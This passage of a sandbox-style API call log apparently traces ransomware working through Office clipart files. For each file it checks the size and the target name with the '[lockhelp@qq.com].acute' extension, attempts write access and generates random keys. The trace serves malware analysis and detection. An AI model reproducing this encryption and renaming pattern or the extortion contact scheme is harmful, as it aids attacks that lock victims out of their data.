(hObject=0x308) returned 1 [0275.072] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01548_.wmf")) returned 0x20 [0275.072] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01548_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.072] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01548_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.072] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0275.072] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01657_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0275.072] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=30414) returned 1 [0275.072] CloseHandle (hObject=0x308) returned 1 [0275.072] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01657_.wmf")) returned 0x20 [0275.072] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01657_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.072] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01657_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.072] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0275.072] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01658_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0275.073] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=17924) returned 1 [0275.073] CloseHandle (hObject=0x308) returned 1 [0275.073] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01658_.wmf")) returned 0x20 [0275.074] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01658_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.074] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01658_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.074] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0275.074] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01659_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0275.074] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=31180) returned 1 [0275.074] CloseHandle (hObject=0x308) returned 1 [0275.074] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01659_.wmf")) returned 0x20 [0275.074] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01659_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.075] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01659_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.075] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0275.075] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01660_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0275.075] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=12958) returned 1 [0275.075] CloseHandle (hObject=0x308) returned 1 [0275.075] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01660_.wmf")) returned 0x20 [0275.075] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01660_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.075] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01660_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.075] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0275.075] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02068_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0275.075] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=2488) returned 1 [0275.075] CloseHandle (hObject=0x308) returned 1 [0275.075] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02068_.wmf")) returned 0x20 [0275.075] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02068_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.075] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02068_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.075] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0275.076] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02071_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0275.076] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=2188) returned 1 [0275.076] CloseHandle (hObject=0x308) returned 1 [0275.076] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02071_.wmf")) returned 0x20 [0275.076] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02071_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.076] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02071_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.076] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0275.076] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02075_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0275.076] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=4396) returned 1 [0275.076] CloseHandle (hObject=0x308) returned 1 [0275.076] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02075_.wmf")) returned 0x20 [0275.076] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02075_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.076] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02075_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.076] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0275.076] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02088_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0275.077] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=3696) returned 1 [0275.077] CloseHandle (hObject=0x308) returned 1 [0275.077] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02088_.wmf")) returned 0x20 [0275.077] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02088_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.077] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02088_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.077] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0275.077] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02097_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0275.077] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=1564) returned 1 [0275.077] CloseHandle (hObject=0x308) returned 1 [0275.077] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02097_.wmf")) returned 0x20 [0275.077] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02097_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.077] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02097_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.077] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0275.077] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02115_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0275.078] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=4660) returned 1 [0275.078] CloseHandle (hObject=0x308) returned 1 [0275.078] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02115_.wmf")) returned 0x20 [0275.078] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02115_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.078] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02115_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.078] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0275.078] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02116_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0275.079] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=3988) returned 1 [0275.079] CloseHandle (hObject=0x308) returned 1 [0275.079] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02116_.wmf")) returned 0x20 [0275.079] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02116_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.079] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02116_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.079] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0275.079] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02141_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0275.080] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=2636) returned 1 [0275.080] CloseHandle (hObject=0x308) returned 1 [0275.080] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02141_.wmf")) returned 0x20 [0275.080] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02141_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.080] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02141_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.080] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0275.080] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02153_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0275.080] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=5392) returned 1 [0275.080] CloseHandle (hObject=0x308) returned 1 [0275.080] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02153_.wmf")) returned 0x20 [0275.080] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02153_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.080] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02153_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.080] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0275.080] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02158_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0275.081] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=1648) returned 1 [0275.081] CloseHandle (hObject=0x308) returned 1 [0275.081] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02158_.wmf")) returned 0x20 [0275.081] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02158_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.081] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02158_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.081] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0275.081] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02161_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0275.081] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=3128) returned 1 [0275.081] CloseHandle (hObject=0x308) returned 1 [0275.081] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02161_.wmf")) returned 0x20 [0275.081] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02161_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.081] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02161_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.081] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0275.081] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\flap.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0275.082] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=2070) returned 1 [0275.082] CloseHandle (hObject=0x308) returned 1 [0275.082] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\flap.wmf")) returned 0x20 [0275.082] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\flap.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.082] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\flap.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.082] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0275.082] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00057_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0275.083] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=3764) returned 1 [0275.083] CloseHandle (hObject=0x308) returned 1 [0275.083] 